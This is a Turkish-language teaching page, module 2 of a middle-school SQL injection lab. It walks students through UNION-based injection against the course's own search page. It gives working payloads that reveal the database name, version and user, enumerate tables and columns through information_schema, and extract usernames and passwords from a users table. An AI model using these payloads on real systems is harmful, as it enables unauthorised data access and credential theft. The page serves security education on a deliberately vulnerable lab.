Malatya DENEYAP

🔐 SQL Injection Laboratuvarı

Ortaokul Siber Güvenlik Dersi

Eğitmen: Hakan TOPTAŞ

🔍 Modül 2: SQL Injection ile Veritabanı Keşfi

Gerçek bir saldırgan veritabanı yapısını bilmez. Adım adım keşfetmesi gerekir. Bu modülde UNION SELECT ve information_schema kullanacağız.

Tüm denemeleri search.php arama kutusunda yapın. ← Geri dön

⚙️ UNION Nedir?

UNION, iki SELECT sorgusunun sonuçlarını birleştirir:

SELECT id, ad, fiyat, kategori FROM urunler WHERE ad LIKE '%mouse%'
-- Normal arama sonucu

UNION

SELECT id, kullanici_adi, sifre, rol FROM kullanicilar
-- Saldırganın eklediği sorgu → şifreler görünür!

⚠️ UNION için her iki sorguda da aynı sayıda sütun olmalı (burada 4).

💡 Arama sayfasında sorgu LIKE '%...%' ile bittiği için yorum olarak # kullanın (-- bu yapıda çalışmaz).

Adım 1: Veritabanı Adını Öğren

MySQL'de database() fonksiyonu aktif veritabanının adını verir.

' UNION SELECT 1, database(), version(), user() #

Sonuç tablosunda göreceksiniz:

Bu payload'ı dene →

Adım 2: Tabloları Listele

MySQL'de tüm tablo bilgileri information_schema.tables adlı özel bir tabloda saklanır.

' UNION SELECT 1, table_name, table_rows, table_schema FROM information_schema.tables WHERE table_schema=database() #

Sonuçta kullanicilar ve urunler tablolarını görmelisiniz.

Tabloları listele →

Adım 3: Bir Tablonun Alanlarını (Sütunlarını) Bul

Sütun bilgileri information_schema.columns tablosundadır. Önce kullanicilar tablosunun yapısını keşfedelim:

' UNION SELECT ordinal_position, column_name, data_type, column_key FROM information_schema.columns WHERE table_name='kullanicilar' AND table_schema=database() #

Beklenen alanlar: id, kullanici_adi, sifre, rol, gizli_not

kullanicilar alanlarını bul →

Adım 4: urunler Tablosunun Alanlarını Bul

' UNION SELECT ordinal_position, column_name, data_type, '' FROM information_schema.columns WHERE table_name='urunler' AND table_schema=database() #

Beklenen alanlar: id, ad, fiyat, kategori

urunler alanlarını bul →

Adım 5: Keşiften Sonra Veri Çek

Artık tablo ve alan adlarını biliyorsun. Hassas veriyi çek:

' UNION SELECT id, kullanici_adi, sifre, rol FROM kullanicilar #

Tebrikler! Admin şifresini tabloda görebilirsin.

Şifreleri çek →

📝 Öğretmen Notu: Keşif Sırası

  1. Öğrencilere "Sitede hangi tablolar var?" diye sorun — tahmin ettirin
  2. UNION kavramını tahtada iki tablo çizerek anlatın
  3. Adım 1'den başlayıp sırayla ilerleyin; her adımda sonuç tablosunu yorumlayın
  4. information_schema'yı "veritabanının katalog defteri" olarak açıklayın
  5. Son adımda Canlı Şema ile karşılaştırın

➡️ Sıradaki Modül

Modül 3: Canlı Şema Haritası →